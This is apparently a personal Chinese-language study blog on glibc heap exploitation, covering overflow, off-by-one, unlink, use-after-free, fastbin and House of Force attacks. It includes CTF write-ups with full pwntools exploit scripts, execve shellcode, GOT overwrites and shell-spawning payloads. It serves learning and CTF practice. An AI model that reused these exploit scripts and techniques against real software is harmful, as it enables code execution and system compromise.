不出意外的话我应该是把这个鸽掉了
堆溢出
向某个堆块写入的字节数超过了可用字节数(堆管理器会对用户申请的字节数进行调整,可用字节数可能大于申请的字节数),数据溢出到下一个(物理相邻的高地址)堆块上
利用策略:
- 1.覆盖下一个chunk的内容
- 2.利用堆中的机制如unlink,实现任意地址写入或者控制堆块中的内容
几个重要步骤
- 寻找堆分配函数:malloc、calloc、realloc(根据参数size的不同,实现分配和释放的功能)
malloc不能初始化分配的空间,可能遗留上一次释放前的数据;calloc会把分配空间的每一位都初始化为空
- 寻找危险函数(输入输出、字符串操作)
- 确定填充长度(注意对齐以及可能借用下一chunk的pre_size)
Off-By-One(堆)
指溢出了一个字节(单字节缓冲区溢出)
利用思路
- 修改堆大小使堆块结构出现重叠,泄露其他数据或者覆盖其他数据
- 使prev_in_use位清零,这时前块会被认为是空闲的
- unlink
- 伪造prev_size造成堆块之间的重叠(前提是unlink的时候没有检查按prev_size找到的块和prev_size大小是否一致
b00k
然后运行一下看看程序的运行,再进ida,函数名已经把功能写的很清楚了:
main函数:
发现每次读入都是调用这个函数:
而仔细想想这个函数,发现当长度为32时,刚好能把结束符覆盖到下一个字节,而程序刚开始运行输入的author_name存储的位置也真的是非常的巧妙:
也就是说我们能够泄露出book信息存放的地址了
Chunk extend & overlapping
主要是通过其他漏洞(如off by one)修改某个chunk的size,达到覆盖后面几个chunk的效果,这样就能直接修改后面chunk的内容,造成任意地址读、控制执行等
heapcreator
照例先check一波
1 2 3 4 5 6 7
| pluto@pluto-virtual-machine:~/Desktop$ checksec heapcreator [*] '/home/pluto/Desktop/heapcreator' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
main函数:
create():
进入create,先为heaparry中一个成员申请出一块空间,再让这块空间中的第二个位置(*((void **)heaparray[i] + 1))指向content的内容
用gdb先分配一下,create两次,大小为2,内容分别为aa和bb,可以看到分配了四个堆:
这里回顾一下chunk的结构:
pre_size这个字段(8字节)在p==1即前一个chunk在使用时是提供给前一个chunk使用的
至于为什么分配的大小都是0x21,是因为分配的时候会将申请的大小转换为实际分配的大小,64位下要是16的整数倍,0x21/16==2
edit函数,19行明显可以造成溢出
剩下两个函数都是没啥大问题的
于是可以想到,构造三个chunk,然后通过第一个chunk改变第二个chunk的大小使得2、3chunk overlapping;
free chunk2,然后再次分配改变第三个chunk的大小和内容,使其指向free.got,接着调用show()把free的地址打印出来;
这时因为目标是调用system(“/bin/sh”)所以还需要劫持free的got表,而由于此时chunk2的ptr已经修改为free_got了,编辑chunk2就相当于改free_got了;
于是最后一步就只需要再造一个chunk,写入’/bin/sh’然后释放,就能达到getshell的目的
关于加粗部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * p = process("./heapcreator") elf = ELF('./heapcreator') context.log_level="debug"
def create(size, payload): p.sendlineafter("Your choice :","1") p.sendlineafter("Size of Heap : ",str(size)) p.sendlineafter("Content of heap:",str(payload))
def edit(id, payload): p.sendlineafter("Your choice :","2") p.sendlineafter("Index :",str(id)) p.sendlineafter("Content of heap : ",str(payload)) p.recvline()
def delete(id): p.sendlineafter("Your choice :","4") p.sendlineafter("Index :",str(id))
def show(id): p.sendlineafter("Your choice :","3") p.sendlineafter("Index :",str(id))
create(0x18,"aaaa") create(0x10,"bbbb") create(0x10,"cccc") create(0x10,"/bin/sh")
edit(0,"a"*0x18 + '\x81') sleep(0) delete(1) p.recvline() payload = "a"*0x40 + '\x08'.ljust(8,'\x00') + p64(elf.got['free']) create(0x70,payload) show(2)
p.recvuntil("Content : ") free_addr = u64(p.recvuntil("Done")[:-5].ljust(8,'\x00')) print hex(free_addr) free_sys_offset = -0x3f1a0 sys_addr = free_addr + free_sys_offset print '\nsys_addr: ' + hex(sys_addr)
edit(2,p64(sys_addr)) gdb.attach(p) delete(3)
p.interactive()
|
Unlink
对于两个释放了的物理相邻的chunk,在内存回收进行合并时会加入新的bin,此时有可能产生攻击点
unlink的过程:
1 2 3 4 5 6 7 8 9 10 11
| 当我们 free() 时 glibc 判断这个块是 small chunk 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并 继而对 Nextchunk 采取 unlink 操作
unlink 具体执行的效果: FD=P->fd = target addr -12 BK=P->bk = expect value FD->bk = BK,即 *(target addr-12+12)=BK=expect value BK->fd = FD,即 *(expect value +8) = FD = target addr-12
|
UAF
主要有这两种情况:
- 内存块被释放后,其对应的指针没有被设置为 NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
1 2
| 释放后没有被置为NULL的指针称为dangling pointer(悬空指针) 没有初始化的指针称为wild pointer(野指针)
|
关注到free后没有把指针指向NULL的代码片段
hacknote
据说是很经典的UAF入门题。网上关于这个题的分析有很多了,但还有一些点是自己看了别人的wp然后想了好久才理解到的,就记录一下一些点。
第一次add两个node时:
notelist数组中的值:
notelist[i]指向的chunk中的内容,其中0x0804865b是print_note_content函数的地址:
删除两个node后:
可以看到chunk里的内容改变了,但是notelist数组的前两个值依然指向原来的chunk
(这里free的顺序出了点小问题)
再次add一个大小为8的node时:
发现原来的两个chunk分配给了新生成的node,。
因为上面free的顺序反了导致notelist[0]和[2]指向了相同的位置,本可以把第一个chunk的内容覆盖为system的gadget,不过…意思到了就行。
如果覆盖为system(…)即程序提供的magic函数,就可以print_nodelist[0],调用magic函数,获得shell
over!
FASTBIN有关的漏洞
- fastbin double free
- house of spirit
- alloc to stack
- arbitrary alloc
前两种主要侧重利用free函数释放真的或者伪造的chunk,然后再申请chunk进行攻击;后两种侧重于修改fd指针,利用malloc申请执行位置的chunk
原理在于,fastbin由单链表维护,并且fastbin中的chunk即使释放了,next_chunk的pre_inuse位也不会清空
lctf2016-pwn200
首先依旧是:
发现什么保护都没有开,(这就使得这个题有两种做法…)
再用ROPgadget搜索,没有看到system和/bin/sh
用ida打开,先看一波main_2函数:
其中第一个漏洞点就是在输入 “who am i” 的时候,当输入长度为48的时候,最后一位(本应该是结束符\0)会变成有效的字符,与后续的rbp相连,在下一句printf会将rbp打印出来
该函数的倒数第二句,在ida的伪c代码中,input返回后没有赋给任何变量,但实际上看汇编代码会发现:
刚好紧挨在“whoami”的上边
再看main_2的返回函数
程序唯一的两个出现malloc的函数之一。
这个函数主要是分配一个固定大小的区域,然后将输入的buf复制到区块中,再把地址赋给ptr,ptr存在bss段中(0x0602098)。
strcpy有多危险就不用说了,其次,buf的长度为0x38,读入的长度却是0x40,可以把dest覆盖掉:
随后的loo函数就是一个选择菜单功能,其中有checkin和checkout。checkout函数在检查指针存在性后,把ptr的堆块释放,并把指针置为0。
checkout函数如下:
把输入的“long”当作malloc的大小,malloc出的地址赋给ptr,然后再把"money"直接放入新建立的chunk中。
HOS
大致的思路就是:
- 在第一次输入money(存入buf)时构造出一个chunk(方法是覆盖dest),指向输入的这个栈,此时这个区域在计算机的角度就成了一个chunk。
- 将这个堆释放再分配,这个区域就变得可控,可以一直控制到返回地址
- 因为这些函数是一个调用一个的,所以choose 3,结束了最顶层的函数,就可以返回执行shellcode
其中exp(下)中传入的id==0x61,意思是伪造fake_chunk的下一个chunk(物理相连)的size。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
p = process("./pwn200") p.recv()
shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" p.send(shellcode + "a"*(48-len(shellcode))) rbp = u64(p.recvuntil("?\n")[48:48+6].ljust(8,"\x00")) print hex(rbp)
shellcode_addr = rbp - 0x50 fake_chunk = rbp - 0xb0
print hex(shellcode_addr)
p.sendline("17") p.recvuntil("money~")
payload = "\x00"*8 + p64(0x61) + "\x00"*0x28 + p64(fake_chunk) p.sendline(payload)
p.sendlineafter("choice :","2") p.sendlineafter("choice :","1") p.sendlineafter("how long?","79")
payload = "a"*0x38 + p64(shellcode_addr) p.sendlineafter("money : ",payload) p.sendlineafter("choice :","3")
gdb.attach(p) p.interactive()
|
多调试!!!
非HOS
把dest的值覆盖为free_got,;此时如果buf中为"shellocde_addr"+“\x00”*n,free的got表就指向shellcode,执行free时就相当于执行shellocde
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * p = process("./pwn200") elf = ELF("./pwn200") arch = "amd64"
p.recv() shellcode="\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" p.send(shellcode + "a"*(48-len(shellcode))) rbp = u64(p.recvuntil("?\n")[48:48+6].ljust(8,"\x00")) print hex(rbp) shellcode_addr = rbp - 0x50 print hex(shellcode_addr)
p.sendline("111") p.recvuntil("~\n") payload = p64(shellcode_addr) + "\x00"*(0x38-len(p64(shellcode_addr))) + p64(elf.got["free"])
p.send(payload) p.recv() p.sendline("2")
p.interactive()
|
2014 hack.lu oreo
拖到ida里分析一波,main函数做了个初始化
sub_804898D()里包括了菜单和进入各个功能函数的跳转
(说个题外话,这题用sendlineafter的话会一直等待after的字符串,不知道为啥…
嗯,继续
add:
add函数做了如下操作:
- 开辟0x38大小的空间
- 从0x19的位置开始读入最长为0x38的字符串,并在末尾\0
- 从起始位置读入长度为0x38的字符串,并在末尾\0
- add_not_order_num+1
show_add:
order:
bss段:
整理一下这三个函数,大概能判断出枪支chunk的样子:
1 2 3 4
| size describtion name pre_chunk_ptr
|
cut_input:
其实就是一个把字符串末尾置为\0…再和add函数的输入部分判断一下,明显有点不安全啊…
大概的思路:
1 2 3 4
| 1. 在add时溢出伪造指向前一个chunk的指针指向puts_got,调用show_add时就可以泄露puts的地址,获得system的地址 接下来就只需要修改某个函数的got表指向的内容然后试着执行/bin/sh,而要做到这个需要: 2. 把某段内存变成完全可控的chunk,且大小需要满足malloc(0x38)。看了看bss段,发现".bss:0804A2A8 order_mesg_ptr"好像满足要求,而且这个位置前后也没啥用 3. 获得了可控的地址后寻找可以篡改的函数got,且要能执行输入的/bin/sh字符串
|
第一步比较好解决:
用gdb add出两个chunk,数一下就能知道payload该填多少trash
1 2 3 4 5 6 7 8 9 10
| payload = "a"*27 + p32(elf.got['puts'])
add(payload,"aaa") show()
p.recvuntil("Description: aaa\n") p.recvuntil("Description: ") puts_addr = u32(p.recv(4)) print hex(puts_addr) sys = puts_addr - 0x24f00
|
第二步,想要在bss段上构造一个chunk(如下图)的话,
(另外还要把order_mesg_ptr看作chunk的size,置为0x40)
1 2 3 4 5 6 7
| a = 1 while a<0x3f: add("aa","aa") a+=1
fake_chunk = 0x0804A2A8 add("1"*27+p32(fake_chunk),"aaaa")
|
是很明显的。
但如何能让这块区域能够使用就要考虑free时对next_chunk的判断:
1 2
| payload = "\x00"*0x20 + "a"*4 + p32(100) add_message(payload)
|
此时order()后,fastbin接收的(唯一一个)chunk将在下一次malloc时分配出去
随后修改strlen指向的地址就能在cut_input()时getshell
1 2 3 4 5
| payload = p32(elf.got['strlen']).ljust(20,'a') add("aaa",payload) add_message(p32(sys)+';/bin/sh') p.interactive()
|
另:写一半把ida关了,且没保存数据orz,所以最后就写的比较快且没有截图了…
参考:
https://bbs.pediy.com/thread-247214.htm
https://ctf-wiki.org/pwn/linux/glibc-heap/fastbin_attack/#2014-hacklu-oreo
House of Force
1 2 3 4 5 6 7 8 9 10 11
| 利用条件: - 能够以溢出等方式修改top chunk的size域 - 自由控制堆分配的大小
步骤: 1. malloc(100)//随便分配一个chunk 2. 使用溢出修改top chunk的size为一个大数//不会去调用mmap 3. malloc(size)//size=目标地址减去 top chunk 地址,再减去 chunk 头的大小 4. p = malloc(100); p == 目标地址
摘自0x2l师傅的文章
|
题
HITCON TRAININGLAB 11
略…
相关记录在2021-03-22的日报里
BCTF-bcloud
搞了好久…现在是早上五点,不想写了
注释啥的都在exp和ida文件里
有两种方法,主要是把top_chunk指向bss段的content_ptr或content_len,由此可以在里边任意写,更改函数got表指向的内容。
画图和调试很重要!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
p = process("./bcloud") elf = ELF("./bcloud") libc = ELF("/lib/i386-linux-gnu/libc.so.6") def add (len, content): p.recv() p.sendline("1") p.sendlineafter("content:",str(len)) p.sendlineafter("Input the content:\n",content)
def delete(id): p.recv() p.sendline("4") p.sendlineafter("Input the id:\n",str(id))
def edit(id,content): p.recv() p.sendline("3") p.sendlineafter("Input the id:",str(id)) p.sendlineafter("Input the new content:",content)
p.sendafter("name:\n","a"*0x40) first_heap = u32(p.recv()[68:4+68].ljust(4,"\x00"))-8 print "heap_base: " + hex(first_heap)
p.send("A"*0x40) p.sendlineafter("Host:\n",p32(0xffffffff)) topchunk_addr = first_heap + 0x48*3 print "topchunk_addr : " + hex(topchunk_addr)
content_ptr = 0x0804B120 content_len = 0x0804B0A0
target_addr = content_len - 8 off_target = target_addr - topchunk_addr malloc_size = off_target - 4 -7
add(malloc_size -4 , '') print "malloc_size : " + hex(malloc_size) + "\ntarget_addr : " + hex(target_addr)
payload = p32(16)*3 payload += 'a'*(content_ptr - content_len -12) payload += p32(elf.got['free']) + p32(elf.got['atoi'])*2
add(1000,payload)
edit(0,p32(elf.plt['puts']))
delete(1) atoi_addr = u32(p.recv(4)) print "atoi_addr: " + hex(atoi_addr) offset = atoi_addr - libc.symbols['atoi'] sys_addr = offset + libc.symbols['system']
edit(2,p32(sys_addr)) p.sendlineafter("option--->>\n",'/bin/sh\x00') p.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
content_ptr = 0x0804B120 content_len = 0x0804B0A0 target_addr = content_ptr malloc_size = target_addr - topchunk_addr -0x10 add(malloc_size, 'junk') print "malloc_size : " + hex(malloc_size) + "\ntarget_addr : " + hex(target_addr)
add(0x18,'')
payload = p32(0) + p32(elf.got['free']) + p32(elf.got['puts']) + p32(0x804b130) + '/bin/sh' edit(1,payload ) edit(1,p32(elf.plt['puts'])) delete(2)
puts_addr = u32(p.recv(4)) print "puts: " + hex(puts_addr) sys_addr = puts_addr - 0x24f00
edit(1,p32(sys_addr))
delete(3) p.interactive()
|
做这题的时候感觉很奇怪。首先是第一种泄露atoi的方法,似乎只在给定libc的时候有效,把获得的atoi的地址放进libc database里查的时候查不到对应的libc…而第二种泄露puts的方法就可以正常getshell
参考:
一
二